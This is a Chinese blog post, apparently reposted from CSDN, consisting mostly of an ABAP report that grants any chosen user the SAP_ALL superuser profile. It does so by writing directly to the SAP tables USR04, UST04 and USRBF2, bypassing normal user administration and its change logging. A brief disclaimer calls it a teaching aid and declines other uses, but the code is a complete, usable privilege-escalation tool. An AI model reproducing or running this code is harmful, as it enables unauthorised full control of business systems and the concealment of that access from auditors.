ITPub博客

首页 > Linux操作系统 > Linux操作系统 > 给用户添加SAP_ALL权限程序

给用户添加SAP_ALL权限程序

原创 Linux操作系统 作者:heart_smile 时间:2011-02-08 12:23:09 0 删除 编辑

给用户加SAP_ALL的权限

给用户增加SAP_ALL的权限,报表可对basis与abap开发人员对用户权限管理的思路,谢绝用于其它用途,后果自负。 

    REPORT ZTESTCREATEUSER.
DATA: L_USR04 LIKE  USR04 ,
      GT_USER04 LIKE TABLE OF USR04 WITH HEADER LINE,

    L_UST04 LIKE TABLE OF UST04 WITH HEADER LINE ,

    L_PROFS LIKE USR04-PROFS ,

    L_USRBF2 LIKE TABLE OF USRBF2  WITH HEADER LINE,

    L_USERID LIKE USR01-BNAME.

TABLES : USR01.

SELECT-OPTIONS: P_USER FOR USR01-BNAME .

START-OF-SELECTION.

  SELECT SINGLE * INTO L_USR04 FROM USR04

  WHERE BNAME IN P_USER.

  MOVE 'C SAP_ALL' TO L_PROFS .

  L_USR04-NRPRO = '14'.

  L_USR04-PROFS = L_PROFS.

  MOVE L_USR04 TO GT_USER04.
  APPEND GT_USER04.

  UPDATE USR04 FROM TABLE GT_USER04.                        " L_USR04 .

  IF SY-SUBRC = 0.
    WRITE:/ 'ok1'.
  ELSE.
    WRITE:/ 'ERR1'.
  ENDIF.


  L_USERID = L_USR04-BNAME.

  SELECT * INTO TABLE  L_UST04  FROM UST04  WHERE BNAME  IN P_USER.

    LOOP AT  L_UST04.

      L_UST04-PROFILE = 'SAP_ALL'.

      MODIFY L_UST04 TRANSPORTING PROFILE.

    ENDLOOP.


   MODIFY UST04 FROM  TABLE L_UST04.                       "L_UST04 .
    IF SY-SUBRC = 0.
      WRITE:/ 'ok2'.
    ELSE.
      WRITE:/ 'ERR2'.
    ENDIF.


    SELECT *  INTO TABLE L_USRBF2  FROM USRBF2   WHERE BNAME like 'SAP%' .

    L_USRBF2-BNAME = L_USERID. " 'abc'.

    MODIFY L_USRBF2 TRANSPORTING BNAME WHERE BNAME <> L_USERID ."'abc'.


    modify USRBF2 FROM TABLE L_USRBF2 .
    IF SY-SUBRC = 0.
      WRITE:/ 'ok3'.
    ELSE.
      WRITE:/ 'ERR3'.
    ENDIF.
  

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/asdfak/archive/2010/10/15/5942712.aspx

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10339719/viewspace-686864/,如需转载,请注明出处,否则将追究法律责任。

下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2008-11-15

  • 博文量
    32
  • 访问量
    63682